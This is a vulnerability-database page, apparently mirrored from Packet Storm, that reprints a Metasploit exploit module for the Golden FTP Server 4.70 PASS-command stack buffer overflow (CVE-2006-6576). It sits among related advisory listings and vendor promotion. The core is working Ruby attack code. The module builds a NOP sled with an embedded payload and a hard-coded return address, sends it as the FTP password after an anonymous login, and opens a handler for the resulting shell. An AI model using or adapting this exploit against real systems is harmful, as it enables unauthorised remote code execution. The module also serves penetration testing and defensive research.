Lucene search
K

GoldenFTP PASS Stack Buffer Overflow

🗓️ 03 Jun 2011 00:00:00Reported by banneditType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 50 Views

GoldenFTP PASS Stack Buffer Overflow exploit using the PASS command to trigger a vulnerability in the Golden FTP service

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Golden FTP Server 4.70 - (PASS) Buffer Overflow Exploit(2)
9 Mar 202100:00
zdt
Circl
CVE-2006-6576
23 Jan 201100:00
circl
Check Point Advisories
Golden FTP PASS Buffer Overflow (CVE-2006-6576)
27 Nov 201400:00
checkpoint_advisories
CVE
CVE-2006-6576
15 Dec 200619:00
cve
Cvelist
CVE-2006-6576
15 Dec 200619:00
cvelist
Metasploit
GoldenFTP PASS Stack Buffer Overflow
2 Jun 201101:10
metasploit
NVD
CVE-2006-6576
15 Dec 200619:28
nvd
OpenVAS
Golden FTP Server Malformed Message Denial Of Service Vulnerability
20 Jan 201100:00
openvas
OpenVAS
Golden FTP PASS Command Buffer Overflow Vulnerability
13 Jun 201100:00
openvas
Packet Storm
Golden FTP Server 4.70 Buffer Overflow
9 Mar 202100:00
packetstorm
Rows per page
`#  
# $Id: goldenftp_pass_bof.rb 12816 2011-06-02 12:24:25Z swtornio $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = AverageRanking  
  
include Msf::Exploit::Remote::Ftp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'GoldenFTP PASS Stack Buffer Overflow',  
'Description' => %q{  
This module exploits a vulnerability in the Golden  
FTP service. This module uses the PASS command to trigger the overflow.  
},  
'Author' => [ 'bannedit' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 12816 $',  
'References' =>  
[  
[ 'CVE', '2006-6576'],  
[ 'OSVDB', '35951'],  
[ 'BID', '45957 '],  
[ 'URL', 'http://www.exploit-db.com/exploits/16036/'],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'seh',  
},  
'Privileged' => false,  
'Payload' =>  
{  
'Space' => 350,  
'BadChars' => "\x00\x0a\x0d",  
},  
'Platform' => ['win'],  
'Targets' =>  
[  
[  
'Golden FTP 4.70 Universal', # Tested OK - bannedit 05/31/2011  
{  
'Platform' => 'win',  
'Ret' => 0x00a93ca6,  
},  
]  
  
],  
'DisclosureDate' => 'Jan 23 2011'))  
end  
  
def check  
connect  
disconnect  
print_status("FTP Banner: #{banner}".strip)  
if banner =~ /Golden FTP Server ready v(4\.\d{2})/ and $1 == "4.70"  
return Exploit::CheckCode::Appears  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
def exploit  
if datastore['RHOST'].length < 15  
pad = make_nops(1) * (15 - datastore['RHOST'].length)  
end  
  
sploit = make_nops(4) * 38  
sploit << payload.encoded  
sploit << pad  
sploit << make_nops(1) * (528 - sploit.length)  
sploit << [target.ret].pack('V')  
  
print_status("Connecting to #{datastore['RHOST']}:#{datastore['RPORT']}")  
begin  
connect  
send_user("anonymous")  
send_cmd(['PASS', sploit], false)  
handler  
rescue EOFError  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation